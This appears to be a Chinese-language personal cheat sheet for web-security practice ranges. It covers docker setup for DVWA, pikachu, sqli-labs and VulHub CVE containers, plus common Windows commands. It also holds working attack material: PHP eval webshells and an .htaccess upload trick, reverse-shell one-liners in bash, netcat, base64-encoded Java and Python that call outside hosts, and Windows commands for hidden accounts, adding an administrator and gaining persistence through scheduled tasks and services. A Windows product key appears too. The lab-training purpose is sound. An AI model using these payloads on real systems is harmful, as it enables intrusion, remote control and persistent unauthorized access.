Safe: 靶场
- TAGS: Safe
靶场
常用操作
SQL授权
grant all privileges on *.* to root@'%' identified by 'root';
docker start $(docker ps -a -q) docker stop $(docker ps -a -q) docker rm -f `docker ps -a -q` docker rm `docker ps -qf status=exited`
php
<?php phpinfo();?> <?php eval(@$_GET['a']);?> <?php eval(@$_POST['a']);?>
apache
# .htaccess文件内容 ## 指定pxx.jpg文件用php解析 <FilesMatch "pxx.jpg"> Sethandler application/x-httpd-php </FilesMatch> ## 或者当前目录所有文件以php解析 <IfModule mime_module> SetHandler application/x-httpd-php </IfModule> # pxx.jpg文件内容 <?php eval(@$_POST["a"]); ?>
文件头的格式
.jpg FF D8 FF E0 00 10 4A 46 49 46 .gif 47 49 46 38 39 61,字符串: GIF89(7)a .png 89 50 4E 47 压缩包文件:50 4B 03 04 BMP: 42 4D,字符串: BM
- sql注入 高危
- 文件上传 高危
- 文件包含 仅PHP环境有
名词术语
- poc: 漏洞证明代码。
- exp: 利用系统漏洞进行攻击的动作。
- payload: 有效载荷,攻击成功后,真正在目标系统执行的代码或者指令。
- shellcode: 属于payload的一种,可以建立正向、反向shell。
- RCE:远程命令或代码执行
- 免杀技术全称为反杀毒技术, Anti-Virus 简称“免杀”,指是一种能使病毒木马免于被杀毒软件查杀的技术。免杀技术的涉猎面广泛,其中包含反汇编、逆向工程、系统漏洞等技术,内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
ASCII码对照表: https://toolhelper.cn/Encoding/ASCII
man ascii #man-pages包 表格 为方便起见,我们给出了更紧凑的十六进制和十进制表格。 2 3 4 5 6 7 30 40 50 60 70 80 90 100 110 120 ------------- --------------------------------- 0: 0 @ P ` p 0: ( 2 < F P Z d n x 1: ! 1 A Q a q 1: ) 3 = G Q [ e o y 2: " 2 B R b r 2: * 4 > H R \ f p z 3: # 3 C S c s 3: ! + 5 ? I S ] g q { 4: $ 4 D T d t 4: " , 6 @ J T ^ h r | 5: % 5 E U e u 5: # - 7 A K U _ i s } 6: & 6 F V f v 6: $ . 8 B L V ` j t ~ 7: ´ 7 G W g w 7: % / 9 C M W a k u DEL 8: ( 8 H X h x 8: & 0 : D N X b l v 9: ) 9 I Y i y 9: ´ 1 ; E O Y c m w A: * : J Z j z B: + ; K [ k { C: , < L \ l | D: - = M ] m } E: . > N ^ n ~ F: / ? O _ o DEL
工具
phpstudy: https://www.xp.cn/phpstudy
PHP开发环境集成包, 一次性安装,无须配置即可使用
- 16进制检查工具
- Mac: hexfiend
- Windows: 010 editor
- 命令行查看 hexdump -C ctfhub.png
- 短网址:https://www.985.so/
- 进制转换:
- 查看地址-DNSLog Platform:http://dnslog.cn/
- 工具合集:https://www.toolhelper.cn/
- base64加解码
- AES 加密/解密
- md5加密,md5解密 https://www.cmd5.com/
- 二维码解码器 https://cli.im/deqr
- 代理池 https://www.kuaidaili.com/
- 查杀工具
- 在线杀毒引擎查杀 https://www.virustotal.com/gui/home/upload
- 文件对比:
DNS重绑定绕过
- 浏览器插件
- hackbar: 加载url并修改
- Cookie-Editor: 修改cookie
镜像
- windows MSDN
- Windows XP Professional with Service Pack 3 (x86) - CD VL (Chinese-Simplified)
- DG8FV-B9TKY-FRT9J-6CRCC-XPQ4G (万能XP)
- Windows 7 Ultimate with Service Pack 1 (x64) - DVD (Chinese-Simplified)
- Windows XP Professional with Service Pack 3 (x86) - CD VL (Chinese-Simplified)
- 国标网:https://openstd.samr.gov.cn/bzgk/gb/
dvwa
DVWA(Damn Vulnerable Web Application)是一款比较著名的漏洞靶场,很多 Web 安全的初学者都会拿它来练习,一些高校以及相关书籍里面也会介绍它。
DVWA的项目开源地址为https://github.com/digininja/DVWA。
docker run -d --name dvwa -p 8080:80 -p 33060:3306 sagikazarmark/dvwa docker run -d --name dvwa2 -p 8082:80 -p 33060:3306 citizenstig/dvwa # csrf Medium 代码与课件对应,所以用这个 #账号admin 密码password
停止及删除容器
$ docker stop dvwa $ docker rm dvwa
环境
- PHP 5.6.30
- Apache 2.4.10
- MySQL 5.5.54
用户名/密码
User: root Password: p@ssw0rd Database: dvwa
MySQL general_log 已开启(默认位置 /var/log/mysql/mysql.log :),以便可以监控查询
show variables like 'general_log'; -- 查看日志是否开启 set global general_log=on; -- 开启日志功能 show variables like 'general_log_file'; -- 看看日志文件保存位置 set global general_log_file='/var/log/mysql/mysql.log'; -- 设置日志文件保存位置
初始化
访问 http://127.0.0.1:8080 输入初始用户名密码
- User: root
- Password: p@ssw0rd
点击 Create/Reset Database 进行初始化
重新登录页面
- User: admin
- Password: password
选择项目难度,初始设置为Low
左边栏:(各漏洞利用模块)
- Brute Fore 暴力破解
- Command Injection 命令注入
- CSRF
- File Inclusion 文件包含
- File Upload 文件上传
- Insecure CAPTCHA
- SQL Injection SQL注入
- SQL Injection (Blind) SQL盲注
- XSS (Reflected) 反射型跨站
- XSS (Stored) 存储型跨站攻击
View Source 可以看到漏洞代码
靶场难度等级:DVMA Security
- Low 低等级,限制措施少
- Medium,High 可能要考虑绕过的方法
- Impossible 不可能有漏洞
pikachu
Pikachu 也是一款 Web 漏洞靶场,涵盖各种 Web 漏洞类型的练习,也是基于 PHP+MySQL搭建的平台,是由国人开发的。平台采用中文描述和基本的页面设计, 相比sqli-labs 这种单调的界面还是好看很多的。
源地址: https://github.com/zhuifengshaonianhanlu/pikachu
docker pull area39/pikachu docker run -d --name pikachu -p 8083:80 -p 33063:3306 area39/pikachu
点击红色字体进行初始化:
- "提示:欢迎使用,pikachu还没有初始化,点击进行初始化安装!" –> "安装/初始化" –> "点击这里进入首页"
sqli-labs
sqli-labs 是一款用于学习 SQL 注入的靶场平台,覆盖了各种类型的 SQL注 入, 题目共 75 道,按难度划分为 4 页。sqli-labs靶场的难度循序渐进,对于提高 SQL 注入实战能力有很好的帮助。
源地址为 https://github.com/Audi-1/sqli-labs
docker run -dt --name sqli-labs -p 8085:80 --rm acgpiano/sqli-labs
upload-labs
docker run --name upload-labs -d -p 8084:80 cuer/upload-labs
webug
docker run -d -p 8082:80 -p 33060:3306 area39/webug #支付漏洞 默认账号:admin/admin 数据库账号:root/toor #登录页:http://YOUR_IP_ADDRESS/control/login.php
CTF
- 图片隐写分析工具stegsolve: http://www.caesum.com/handbook/Stegsolve.jar
VulHub
VulHub 真实漏洞靶场
Vulhub 是一款基于 Docker 和 docker-compose的漏洞测试靶场,进入对应目 录 并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单, 让安 全研究者更加专注于漏洞原理本身。
Vulhub的项目开源地址: https://github.com/vulhub/vulhub
我们需要先从 GitHub 上下载 VulHub,然后进行相应目录去创建和运行容器
git clone https://github.com/vulhub/vulhub
cd vulhub/flask/ssti
sudo docker-compose up -d
漏洞
#Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615) #Tomcat版本:7.0.0-7.0.79、8.5.19 docker run --rm -d --name tomcat -p 8080:8080 docker.io/cved/cve-2017-12615 #S2-048 远程代码执行漏洞(CVE-2017-9791) #影响版本: 2.0.0 - 2.3.32 docker run --rm --name s2-048 -d -p 8082:8080 docker.io/piesecurity/apache-struts2-cve-2017-5638 #JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) docker run --rm --name cve-2017-12149 -d -p 8083:8080 docker.io/hackingpub/cve-2017-12149
反弹shell的poc
反弹 shell 命令: bash -i >& dev/tcp[IP|Domain]/PORT 0>&1 PC 端接收 Netcat命令: nc -lvp PORT
#pc nc -lvp 4445 #kali bash -i 表示启用交互模式 bash shell bash -i >& /dev/tcp/192.168.1.100/4445 0>&1
Netcat 返回 shell(不支持 nc -e的情况)
#kali nc 192.168.1.39 4445 | /bin/bash | nc 192.168.1.39 4446 #PC 4445 输入命令,4446 输出结果 PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -l -p 4445 id PS D:\Program Files (x86)\safe\netcat-1.11> .\nc64.exe -lvp 4446 listening on [any] 4446 ... uid=0(root) gid=0(root) groups=0(root)
Netcat 返回 shell(Java)
java.lang.Runtime.getRuntime().exec('calc'); #nc监听指定端口 nc -lvnp 7777 #建立对应的网络套接字连接 exec 8<> /dev/tcp/<主机>/<端口> echo 'bash -i &> /dev/tcp/6v728702f6.xxx.com/53267 0>&1' |base64 #YmFzaCAtaSAmPiAvZGVxxx java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC82djcyODcwMmY2Lnh4eC5jb20vNTMyNjcgMD4mMQo=}|{base64,-d}|{bash,-i}\");
Netcat 返回 shell(Python)
nc -lvp PORT #监听 #kail python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" #s.fileno() 查看具体套接字建立的文件描述符 os 库的 dup2 方法将标准输入、输出、错误重定向到远程。
弱点检测
java
; #忽略前面路径
- ip/xxx/xxx/..;/actuator
- ip/xxx/xxx/.;/actuator
防御
#临时 nginx cat <<\EOF> global/deny_semicolon if ($uri ~* ";") { return 403; } EOF sed '/server_name/{a\ include global/deny_semicolon;'$'\n''n;}' `find . -name '*.conf'` #测试 #sed -i '/server_name/{a\ include global/deny_semicolon;'$'\n''n;}' `find . -name '*.conf'` nginx -t && nginx -s reload #后端 禁用不必要的Actuator Endpoints,比如要禁用/env接口,可设置: endpoint.env.enabled=false 引入Spring-Security模块,配置访问权限验证,访问Actuator接口时需要登录。 Actuator访问接口使用独立端口,并配置不对外网开放。
常用命令
windows
#界面 lusrmgr.msc #打开本地用户和组 eventvwr.msc #打开事件查看器 mstsc #打开远程桌面 msinfo32 #系统信息。软件环境 -- 正在运行任务,关注不可用版本 msconfig #系统配置。启动、服务中有无异常 regedit #注册表。查看开机启动项是否正常 gpedit.msc #组策略。 #用户 net user #查看用户 net user xxx3 123 /add #添加用户 密码123 net user /add test$ 123 #添加隐藏账号 密码123 net user #查看用户 #网络 tasklist | findstr Xshell #列出 xshell 进程号 netstat -ano #进程信息 netstat -ano | findstr 1476 #根据进程号查找网络连接 route print #查看路由表 #提权相关 whoami #查看当前权限 ipconfig #查看服务器为内网还是外网 quser #查看管理是否在线 systeminfo #查看服务器信息及相应的补丁,可找相应的补丁提权 tasklist #查看当前运行的进程,是否有av,可利用的第三方的服务提权等 net user #查看用户 net user admin adqqq7! /add #添加账户 net localgroup administrators admin /add #将admin这个用户加到管理组 net user guest /active:yes #激活guest账户 net user administrator 123456 #设置用户密码 net user admin /del #删除admin账户 tasklist /svc #查看进程服务 tasklist /m dll #查看调用某个dll的进程 tasklist /v #显示当前进程和进程用户 qwinsta #显示会话情况 net config workstation #查看当前登陆用户信息 hostname #主机名 set #查看环境变量 net view #显示当前域或工作组中计算机的列表 net statistics workstation #查看主机开机时间 net share #查看共享文件夹 chcp 437 #解决乱码问题 schtasks #查看计划任务 schtasks /delete /tn Updater #删除计划任务 schtasks /Create /tn Updater /tr C:\Users\Administrator\Desktop\7764.exe /sc minute /mo 1 #创建Updater任务,每1分钟自动执行7764.exe #创建自启动服务 sc create test binpath= C:\Users\Administrator\Desktop\5555.exe #注意等号后面有空格。创建服务,服务名为test sc config test start= auto #设置服务为自动启动,即使服务被关闭了还会被启动起来 net start test #启动服务 查看3389是否开启,0x0为开,0x1为关 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections